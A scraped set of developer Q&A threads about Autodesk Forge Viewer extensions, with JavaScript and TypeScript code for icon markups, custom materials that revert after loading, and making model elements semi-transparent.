public _button: Autodesk.Viewing.UI.Button;
public _icons;
public _inputs;
public _enabled;
public _frags;
public onClick;
constructor(viewer, options) {
super(viewer, options);
this._group = null;
this._button = null;
this._enabled = false;
this._icons = options.icons || [];
this._inputs = options.inputs || [];
this.onClick = (id) => {
this.viewer.select(id);
this.viewer.fitToView([id], this.viewer.model, false);
};
}
public load() {
const updateIconsCallback = () => {
if (this._enabled) {
this.updateIcons();
}
};
this.viewer.addEventListener(Autodesk.Viewing.CAMERA_CHANGE_EVENT, updateIconsCallback);
this.viewer.addEventListener(Autodesk.Viewing.ISOLATE_EVENT, updateIconsCallback);
this.viewer.addEventListener(Autodesk.Viewing.HIDE_EVENT, updateIconsCallback);
this.viewer.addEventListener(Autodesk.Viewing.SHOW_EVENT, updateIconsCallback);
return true;
}
unload() {
// Clean our UI elements if we added any
if (this._group) {
this._group.removeControl(this._button);
if (this._group.getNumberOfControls() === 0) {
this.viewer.toolbar.removeControl(this._group);
}
}
return true;
}
onToolbarCreated() {
// Create a new toolbar group if it doesn't exist
this._group = this.viewer.toolbar.getControl('customExtensions');
if (!this._group) {
this._group = new Autodesk.Viewing.UI.ControlGroup('customExtensions');
this.viewer.toolbar.addControl(this._group);
}
// Add a new button to the toolbar group
this._button = new Autodesk.Viewing.UI.Button('IconExtension');
this._button.onClick = (ev) => {
this._enabled = !this._enabled;
this.showIcons(this._enabled);
this._button.setState(this._enabled ? 0 : 1);
};
// this._button.setToolTip(this.options.button.tooltip);
this._button.setToolTip('Showing Panel Information');
// #ts-ignore
this._button.container.children[0].classList.add('fas', 'fa-cogs');
this._group.addControl(this._button);
// Iterate through _inputs
this._inputs.forEach(input => {
var name = '';
if (input.objectPath.indexOf('/')) {
name = input.objectPath.split('/')[input.objectPath.split('/').length - 1];
}
else {
name = input.objectPath;
}
this.viewer.search(name, (idArray) => {
if (idArray.length === 1) {
// console.log(idArray);
this._icons.push({ dbId: idArray[0], label: name, css: 'fas fa-question-circle' });
}
else if (idArray.length !== 1) {
console.log('idArray.length !== 1 getMarkups!!');
}
}, (err) => {
console.log('Something with GETTING MARKUPS went wrong');
}, ['name']);
});
}
showIcons(show) {
console.log(this.viewer);
console.log(this._icons);
// #ts-ignore
const $viewer = $('#' + this.viewer.clientContainer.id + ' div.adsk-viewing-viewer');
// remove previous...
// #ts-ignore
$('#' + this.viewer.clientContainer.id + ' div.adsk-viewing-viewer label.markup').remove();
if (!show) return;
// do we have anything to show?
if (this._icons === undefined || this._icons === null) return;
// do we have access to the instance tree?
const tree = this.viewer.model.getInstanceTree();
if (tree === undefined) { console.log('Loading tree...'); return; }
const onClick = (e) => {
this.onClick($(e.currentTarget).data('id'));
};
this._frags = {};
for (var i = 0; i < this._icons.length; i++) {
// we need to collect all the fragIds for a given dbId
const icon = this._icons[i];
this._frags['dbId' + icon.dbId] = [];
// create the label for the dbId
const $label = $(`
<label class="markup update" data-id="${icon.dbId}">
<span class="${icon.css}"> ${icon.label || ''}</span>
</label>
`);
$label.css('display', this.viewer.isNodeVisible(icon.dbId) ? 'block' : 'none');
$label.on('click', onClick);
$viewer.append($label);
// now collect the fragIds
const _this = this;
tree.enumNodeFragments(icon.dbId, (fragId) => {
_this._frags['dbId' + icon.dbId].push(fragId);
_this.updateIcons(); // re-position of each fragId found
});
}
}
getModifiedWorldBoundingBox(dbId) {
var fragList = this.viewer.model.getFragmentList();
const nodebBox = new THREE.Box3();
// for each fragId on the list, get the bounding box
for (const fragId of this._frags['dbId' + dbId]) {
const fragbBox = new THREE.Box3();
fragList.getWorldBounds(fragId, fragbBox);
nodebBox.union(fragbBox); // create a unifed bounding box
}
return nodebBox;
}
updateIcons() {
// #ts-ignore
// const label = $('#' + this.viewer.clientContainer.id + ' div.adsk-viewing-viewer .update')[0];
// const $label = $(label);
// #ts-ignore
// #ts-ignore
$(() => {
// #ts-ignore
const labels = Array.from($('#' + this.viewer.clientContainer.id + ' div.adsk-viewing-viewer .update'));
for (const label of labels) {
const $label = $(label);
const id = $label.data('id');
// get the center of the dbId(based on its fragIds bounding boxes)
const pos = this.viewer.worldToClient(this.getModifiedWorldBoundingBox(id).center());
// position the label center to it
$label.css('left', Math.floor(pos.x - $label[0].offsetWidth / 2) + 'px');
$label.css('top', Math.floor(pos.y - $label[0].offsetHeight / 2) + 'px');
$label.css('display', this.viewer.isNodeVisible(id) ? 'block' : 'none');
}
});
// for (const label of $('#' + this.viewer.clientContainer.id + ' div.adsk-viewing-viewer .update')) {
// const $label = $(label);
// const id = $label.data('id');
// // #ts-ignore
// // const $label = $('#' + this.viewer.clientContainer.id + ' div.adsk-viewing-viewer .update')[0];
// // const id = $label.data('id');
// // get the center of the dbId (based on its fragIds bounding boxes)
// const pos = this.viewer.worldToClient(this.getModifiedWorldBoundingBox(id).center());
// // console.log(pos);
// // position the label center to it
// $label.css('left', Math.floor(pos.x - $label[0].offsetWidth / 2) + 'px');
// $label.css('top', Math.floor(pos.y - $label[0].offsetHeight / 2) + 'px');
// $label.css('display', this.viewer.isNodeVisible(id) ? 'block' : 'none');
// }
}
}
Use the Viewer's Typescript definitions - see here for install and set them up.
Here's a couple of samples as well if you are after working code:
https://github.com/dukedhx/viewer-ioniccapacitor-angular
https://github.com/dukedhx/viewer-nativescript-angular

Viewer automatically change material to default

I have a problem with changes of material of some elements
when geometry is loaded:
_this.viewer.addEventListener(Autodesk.Viewing.GEOMETRY_LOADED_EVENT, () => {
changeModelMaterial()
});
...
const changeModelMaterial = () => {
const grey = new THREE.Color(0.5, 0.5, 0.5);
let dbIds = getDbIds()
changeAllElementsMaterial(grey)
setMaterialOfDbIds(dbIds)
}
code that i`m using to change material:
const changeAllElementsMaterial = (color) => {
const fragmentList = _this.viewer.model.getFragmentList();
for (let materialId of fragmentList.materialids) {
if (fragmentList.materialmap[materialId]) {
fragmentList.materialmap[materialId].map = null
fragmentList.materialmap[materialId].color = color
fragmentList.materialmap[materialId].needsUpdate = true;
}
}
_this.viewer.impl.invalidate(true);
}
const setMaterialOfDbIds = (dbIds) => {
var color_diffuse = 0xAB00EE;
var color_specular = 0xEEABEE;
var colorM = new THREE.MeshPhongMaterial({
color: color_diffuse,
specular: color_specular
});
_this.viewer.impl.matman().addMaterial(
'ADN-Material-' +
"common color material", // or a GUID
colorM,
true);
for (let dbId of dbIds) {
_this.viewer.model.getData().instanceTree.enumNodeFragments(dbId, function (fragId) {
_this.viewer.model.getFragmentList().setMaterial(fragId, colorM);
});
}
_this.viewer.impl.invalidate(true);
}
It works, because I see that materials of model are changed, but the problem is that materials back to default after ~1-2 sec.
After this I cannot change material even with run this code manually.
Question is why Viewer is locking material change after this 2 sec, how to prevent it
And maybe you will be able to tell me what i can do better with material changes, eg. maybe something better that running my code after GEOMETRY_LOAD. The best would be change material before first render of model
........
hint:
when change event from GEOMETRY_LOADED_EVENT to OBJECT_TREE_CREATED_EVENT "sometimes" but only sometimes it works well (materials stay to the end of working with model), but mostly when i run my method after OBJECT_TREE_CREATED it not working (even not working by run it manually, materials are in some way locked). So I suspect that problem is between time of GEOMETRY_LOAD and OBJECT_TREE_CREATED
I will be grateful for any help
==============================full code==============================
index.html
<div id="main">
<div id="MyViewerDiv"></div>
<button id="open-nav-button" onClick="showDocInfo()">test</button>
</div>
<script src="https://developer.api.autodesk.com/derivativeservice/v2/viewers/three.min.js"></script>
<script src="https://developer.api.autodesk.com/derivativeservice/v2/viewers/viewer3D.min.js"></script>
<script type="text/javascript" src="lib/jquery.min.js"></script>
<script src="js/autodesk-viewer.js"></script>
<script src="js/extension/test-extension.js"></script>
<script>
const autodeskViewer = new AutodeskViewer()
const showDocInfo = () => {
autodeskViewer.showDocInfo()
}
</script>
autodesk-viewer.js
var AutodeskViewer = (function () {
function AutodeskViewer() {
var _this = this;
this.urn = 'urn:dXJuOmFkc2sub2JqZWN0czpvcy5vYmplY3Q6Zm9yZ2UtamF2YS1zYW1wbGUtYXBwLTFzcGduazdqcWpxdjhmYXV0YmNzd2R0cGdvN3VtNWY1L1BPQy1Gb3JnZS1JVCUyMDIwMTclMjBSdWNoXzEwMDUxNy5ud2Q';
this.initializeViewer = function (containerId, documentId) {
_this.viewerApp = new Autodesk.Viewing.ViewingApplication(containerId);
var config = {
extensions: ['TestExtension']
};
_this.viewerApp.registerViewer(_this.viewerApp.k3D, Autodesk.Viewing.Private.GuiViewer3D, config);
_this.viewerApp.loadDocument(documentId, _this.onDocumentLoadSuccess, _this.onDocumentLoadFailure);
}
this.onDocumentLoadSuccess = function (doc) {
const viewables = _this.viewerApp.bubble.search(av.BubbleNode.MODEL_NODE);
if (viewables.length === 0) {
return;
}
_this.viewerApp.selectItem(viewables[0].data, _this.onItemLoadSuccess, _this.onItemLoadFail);
_this.viewer3d = _this.viewerApp.getCurrentViewer();
}
this.onDocumentLoadFailure = (viewerErrorCode) => {}
this.onItemLoadSuccess = (viewer) => {
_this.viewer = viewer
}
this.onItemLoadFail = (errorCode) => {}
this.initialize = () => {
var options = {
env: 'AutodeskProduction',
getAccessToken: _this.getToken,
refreshToken: _this.getToken
};
Autodesk.Viewing.Initializer(options, _this.initCallback);
};
this.initCallback = function () {
_this.initializeViewer('MyViewerDiv', _this.urn, '3d');
};
this.getToken = function (onGetAccessToken) {
$.get("forge/oauth/token")
.done(function (data) {
token = data
onGetAccessToken(token, 60 * 60);
})
.fail(function (error) {
console.log('ERROR', error);
});
};
this.showDocInfo = function () {};
this.initialize();
}
return AutodeskViewer;
}());
test-extension.js
var _self;
var _viewer;
var _tempValue = 0;
function TestExtension(viewer, options) {
Autodesk.Viewing.Extension.call(this, viewer, options);
_self = this;
_viewer = viewer;
}
const changeModelMaterial = () => {
// _tempValue++;
// if (_tempValue == 2) {
const elements = [4340, 4342, 4344, 4346, 4348, 4367, 4371, 4375, 4380, 4452, 4468, 4488, 4503, 4517, 4520, 4522, 4524, 4526, 4528, 4530]
changeAllElementsMaterial(new THREE.Color(0.5, 0.5, 0.5))
setMaterialOfDbIds(elements)
_tempValue = 0
// }
}
const changeAllElementsMaterial = (color) => {
var fragmentList = _viewer.model.getFragmentList();
for (let materialId of fragmentList.materialids) {
if (fragmentList.materialmap[materialId]) {
fragmentList.materialmap[materialId].map = null
fragmentList.materialmap[materialId].color = color
fragmentList.materialmap[materialId].needsUpdate = true;
}
}
_viewer.impl.invalidate(true);
}
const setMaterialOfDbIds = (dbIds) => {
var colorM = new THREE.MeshPhongMaterial({
color: new THREE.Color(0xAB00EE)
});
for (let dbId of dbIds) {
_viewer.model.getData().instanceTree.enumNodeFragments(dbId, function (fragId) {
_viewer.model.getFragmentList().setMaterial(fragId, colorM);
});
}
_viewer.impl.invalidate(true);
}
TestExtension.prototype = Object.create(Autodesk.Viewing.Extension.prototype);
TestExtension.prototype.constructor = TestExtension;
TestExtension.prototype.load = function () {
_viewer.addEventListener(Autodesk.Viewing.OBJECT_TREE_CREATED_EVENT, changeModelMaterial)
// _viewer.addEventListener(Autodesk.Viewing.GEOMETRY_LOADED_EVENT, changeModelMaterial)
return true
};
TestExtension.prototype.unload = function () {
return true
};
Autodesk.Viewing.theExtensionManager.registerExtension('TestExtension', TestExtension);
I found the solution, quite accidentally... from other thing i tried to do
before:
const setMaterialOfDbIds = (dbIds) => {
var color_diffuse = 0xAB00EE;
var color_specular = 0xEEABEE;
var colorM = new THREE.MeshPhongMaterial({
color: color_diffuse,
specular: color_specular
});
_this.viewer.impl.matman().addMaterial("common color material", colorM, true);
for (let dbId of dbIds) {
_this.viewer.model.getData().instanceTree.enumNodeFragments(dbId, function (fragId) {
_this.viewer.model.getFragmentList().setMaterial(fragId, colorM);
});
}
_this.viewer.impl.invalidate(true);
}
after
const setMaterialOfDbIds = (dbIds) => {
var color_diffuse = 0xAB00EE;
var color_specular = 0xEEABEE;
var colorM = new THREE.MeshPhongMaterial({
color: color_diffuse,
specular: color_specular
});
_this.viewer.impl.matman().addMaterial("common color material", colorM, true);
for (let dbId of dbIds) {
_this.viewer.model.getData().instanceTree.enumNodeFragments(dbId, function (fragId) {
_this.viewer.model.getFragmentList().setMaterial(fragId, colorM);
var fragProxy = _this.viewer.impl.getFragmentProxy(_this.viewer.model, fragId)
fragProxy.updateAnimTransform()
});
}
_this.viewer.impl.invalidate(true);
}
Really I don`t know why adding
var fragProxy = _this.viewer.impl.getFragmentProxy(_this.viewer.model, fragId)
fragProxy.updateAnimTransform()
made the difference, i didn`t saw anything like that in any example of updating material.
What is interesting this code is running for only few elements in model, but it works for even those elements that materials changed before (in changeAllElementsMaterial method).
#Philippe Leefsma if you understand it pls tell something more why it works
So far I cannot reproduce the issue on my side, I am using the following code (ES7) extracted from that extension: Viewing.Extension.Material
createColorMaterial (color) {
const material = new THREE.MeshPhongMaterial({
specular: new THREE.Color(color),
side: THREE.DoubleSide,
reflectivity: 0.0,
color
})
const materials = this.viewer.impl.getMaterials()
materials.addMaterial(
this.guid(),
material,
true)
return material
}
async onModelCompletedLoad() {
const material = this.createColorMaterial(0xFF0000)
const model = this.viewer.model
const fragIds = await Toolkit.getFragIds(model)
fragIds.forEach((fragId) => {
model.getFragmentList().setMaterial(
fragId, material)
})
this.viewer.impl.sceneUpdated(true)
}
The onModelCompletedLoad is a custom event fired when both GEOMETRY_LOADED_EVENT and OBJECT_TREE_CREATED_EVENT have been fired.
Take a look at this article for more details: Asynchronous viewer events notification
I doubt you can easily change the materials before the model is first rendered, however you could use a custom overlay that hides the model until your custom logic has performed all required steps, this is the approach I am using in my demos at: https://forge-rcdb.autodesk.io/configurator
After loading a model, all custom materials are being persisted fine:
The material extension can be tested live from there.
Hope that helps

Autodesk Forge - Isolating element: amount of transparency of others

When we isolate an element in a 3d view, is there anyway to control the amount of transparency of all the other elements? Say, change to 50% translucent?
Have I missed something obvious?
And can you do the same for 2d views?
I dug out the following code for you, it shows how to set all leaf nodes to 50% opacity by changing their material properties:
AutodeskNamespace("Autodesk.ADN.Viewing.Extension");
function getLeafNodes(model, nodeId) {
return new Promise((resolve, reject)=>{
try{
var leafIds = [];
var instanceTree = model.getData().instanceTree
nodeId = nodeId || instanceTree.getRootId()
function _getLeafNodesRec(id){
var childCount = 0;
instanceTree.enumNodeChildren(id,
function(childId) {
_getLeafNodesRec(childId)
++childCount
})
if(childCount == 0){
leafIds.push(id)
}
}
_getLeafNodesRec(nodeId)
return resolve(leafIds)
} catch(ex){
return reject(ex)
}
})
}
function nodeIdToFragIds(model, nodeId) {
var instanceTree = model.getData().instanceTree
var fragIds = []
instanceTree.enumNodeFragments(
nodeId, (fragId) => {
fragIds.push(fragId)
});
return fragIds
}
Autodesk.ADN.Viewing.Extension.Basic = function (viewer, options) {
Autodesk.Viewing.Extension.call(this, viewer, options);
var _this = this;
_this.load = function () {
var fragList = viewer.model.getFragmentList()
getLeafNodes(viewer.model).then((dbIds) => {
dbIds.forEach((dbId) => {
const fragIds = nodeIdToFragIds(
viewer.model, dbId)
fragIds.forEach((fragId) => {
var material = fragList.getMaterial(fragId)
if(material) {
material.opacity = 0.5
material.transparent = true
material.needsUpdate = true
}
})
})
viewer.impl.invalidate(true, true, true)
})
return true;
};
_this.unload = function () {
Autodesk.Viewing.theExtensionManager.unregisterExtension(
"Autodesk.ADN.Viewing.Extension.Basic");
return true;
};
};
Autodesk.ADN.Viewing.Extension.Basic.prototype =
Object.create(Autodesk.Viewing.Extension.prototype);
Autodesk.ADN.Viewing.Extension.Basic.prototype.constructor =
Autodesk.ADN.Viewing.Extension.Basic;
Autodesk.Viewing.theExtensionManager.registerExtension(
"Autodesk.ADN.Viewing.Extension.Basic",
Autodesk.ADN.Viewing.Extension.Basic);
Some syntax requires ES6 transpiling. You can quickly paste the code there to test it: http://viewer.autodesk.io/node/gallery/#/extension-editor?id=560c6c57611ca14810e1b2bf
This works only for 3D, I'll see what we can do for 2D and update that topic.